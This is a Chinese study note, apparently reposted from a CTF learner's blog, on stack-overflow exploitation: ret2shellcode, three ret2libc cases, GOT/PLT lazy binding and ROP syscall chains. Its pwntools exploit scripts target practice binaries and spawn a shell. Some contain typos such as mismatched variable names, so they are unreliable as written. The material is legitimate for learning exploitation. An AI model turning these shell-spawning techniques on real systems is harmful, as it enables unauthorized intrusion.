PwnNotes-0x01 栈溢出(shellcode & ret2libc & ROP)

Posted Hellsegamosken

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PwnNotes-0x01 栈溢出(shellcode & ret2libc & ROP)相关的知识,希望对你有一定的参考价值。


shellcode

向内存中写入可执行的代码,并通过覆盖返回地址跳转到该处执行(未开启 Nx 保护)
在这里插入图片描述
思路比较显然,已知 buf2 的地址(在 bss 段),把 shellcode 写在 s 里然后返回 buf2 相应的地址即可。

问题:为什么不能返回到 s 中 shellcode 的位置?是因为栈地址随机吗?那 buf2 的地址为什么不是随机的(不开 PIE)?

from pwn import *

p = process("./ret2shellcode")
shellcode = asm(shellcraft.sh()).ljust(0x64, "\\x00")
esp_padding = "junkjunk"
ebp_fake = "junk"
ret_addr = 0x0804A080
payload = shellcode + esp_padding + ebp_fake + p32(ret_addr)
p.sendlineafter("No system for you this time !!!\\n", payload)
p.interactive()

如果要生成64位代码,前面加上

context.bits = 64
context.arch = "amd64"
asm(shellcraft.sh())

ret2libc

我们的目标是调用 system("/bin/sh"),获得 shell。

case1

有 system,参数不是 /bin/sh,但 /bin/sh 能在内存中找到。
在这里插入图片描述
所以我们需要把内存中的 /bin/sh 作为参数传递给 system。

对于一个正常的函数调用(比如 main 调用 system),system 函数会把返回 main 的地址前面的位置当做第一个参数,再前面当做第二个参数。因此,我们只需要把 main_next 前面放上 /bin/sh 这个常量字符串的地址即可。

在这里插入图片描述

from pwn import *

p = process("./ret2libc")
system = 0x08048460
bin_sh = 0x08048720
padding = "a" * 0x64
esp_padding = "junkjunk"
fake_ebp = "junk"
payloda = padding + esp_padding + fake_ebp + p32(system) + "junk" + p32(bin_sh)
p.sendlineafter("RET2LIBC >_<", payload)
p.interactive()

case2

有 system,/bin/sh 在内存中找不到。
在这里插入图片描述
做法是利用 gets() 在 bss 段中写入 “/bin/sh” 这个字符串(bss 段一般有读写权限),然后作为参数传给 system。

注意这里利用的 gets() 不是第 9 行的 gets(),因为程序里的这个 gets() 我们无法控制其参数。正确的做法是用这个 gets() 改掉 main() 的返回地址,让程序跳转到 gets(),同时控制其参数为 bss 段上的某个地址(记为 bss_addr),然后 gets() 退出的时候令其进入 system(),也要控制其参数。

最后的栈应该长这样:

...
padding
fake_ebp
gets_addr
system_addr
gets_para1(bss_addr)
system_para1(bss_addr)

payload 就简单了:

from pwn import *

p = process("./ret2libc2")
elf = ELF("./ret2libc2")
system_addr = elf.plt["system"]
gets_addr = elf.plt["gets"]
bss_addr = 0x0804A008 + 0x200

padding = "a" * 0x64
ebp_fake = "junk"
esp_padding = "junkjunk"

payload = padding + esp_padding + esp_fake + p32(gets_addr) + p32(system_addr) + p32(bss_addr) + p32(bss_addr)

p.sendlineafter("What do you think?", payload)
p.sendline("/bin/sh")
p.interactive()

case3

无 system,无 /bin/sh。

lazy-binding

GOT (Global Offset Table): 全局偏移量表,存储外部函数在内存的确切地址。在 Data Segment 中, rw 权限。

PLT (Precudure Linkage Table): 程序连接表,存储外部函数的入口点。在 Code Segment 中,rx 权限。

GOT 表的初始值都指向 PLT 表对应条目的某个片段,这个片段的作用是调用一个函数 resolver。当程序调用某个外部函数时,会到 PLT 表内寻找对应入口点跳到 GOT 表中。如果这是第一次调用这个函数,程序会通过 GOT 表再次跳转回 PLT 表并运行 resolver 来确定该外部函数的确切地址,覆盖掉 GOT 表中对应条目的初始值,然后到该地址执行该外部函数。

img
再次调用则直接 -> PLT -> GOT -> Func。
img
这就是所谓的 lazy-binding 延迟绑定机制。

看下这个题
在这里插入图片描述
PLT 表里面没有 system,但显然有 puts,而且我们知道 libc 映射到内存中是连续的,因此我们可以通过 puts 在内存中的实际地址(通过 GOT 表得到)和 libc 中 system 到 puts 的距离计算出 system 在内存中的实际地址。

具体来说,为了得到 puts 的实际地址,需要用 puts 给输出出来。注意,只有 puts 被调用后,GOT 表内才是其实际地址。

from pwn import *

p = process("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
elf = ELF("./ret2libc3")
padding = "a" * 0x64
fake_ebp = "junk"

context.log_level = "debug" # 执行时输出 debug 信息

payload = pading + fake_ebp;
payload += p32(elf.plt["puts"]) + p32(main_addr) + p32(elf.got["puts"]) # 注意这里,返回 main 是为了再次进行溢出,这样才能调用 system
p.sendlineafter("Can you find it !?", payload)

# 这里会返回 puts 的地址

puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.symbols['puts']
libc.address = libc_base # 更改 libc 基地址
log.success("libc_base:" + hex(libc.address)) # 这里会输出一下 libc 的基地址

system = libc.symbols["system"] # 这里返回的地址就是 system 的实际地址了
binsh = libc.search("/bin/sh").next()

payload = padding + fake_ebp
payload += p32(system) + "junk" + p32(binsh) # 调用 system("/bin/sh")
p.sendlineafter("Can you find it !?", payload)
p.interactive()

libc-database: 通过某个函数和其地址匹配属于哪个 libc 版本。

info proc mappings: 查看内存映射

好用的工具:https://github.com/lieanu/LibcSearcher


ROP

gadget

以 ret 结尾的一串指令,常包含 pop,mov 等。可以用来 DIY 出很多功能,还可以控制寄存器。
在这里插入图片描述

为了快速找到我们能够利用的指令片段,我们需要用到 ROPgadget,它是一个查看特殊代码段的工具。

ROPgadget --binary filename --only "pop|ret" | grep edi
ROPgadget --binary filename  --string "/bin/sh"

实现系统调用

利用 gadget 的组合我们可以实现系统调用。

例:execve("/bin/sh", NULL, NULL)

  • 如果程序是 32 位,我们需要 eax = 0xb(系统调用号,表示 execve),ebx 为 “/bin/sh” 的地址,ecx = 0,edx = 0,返回 int 0x80 指令的地址

  • 如果程序是 64 位,我们需要 rax = 0x3b(也是系统调用号),rdi 为 “/bin/sh” 的地址,rsi = 0,rdx = 0,返回 syscall 指令的地址

因此,我们利用 ROPgadget 找到相应的 pop-ret 指令构造一个链条,使得这些寄存器存入相应的值即可。

以上是关于PwnNotes-0x01 栈溢出(shellcode & ret2libc & ROP)的主要内容,如果未能解决你的问题,请参考以下文章

PwnNotes-0x00 开始

PwnNotes-0x00 开始

栈溢出原理与 shellcode 开发

Winamp栈溢出漏洞研究

漏洞挖掘方法之静态扫描+经典栈溢出实例

漏洞公告 | Lua v5.4.0及之前版本lsys_load()栈溢出漏洞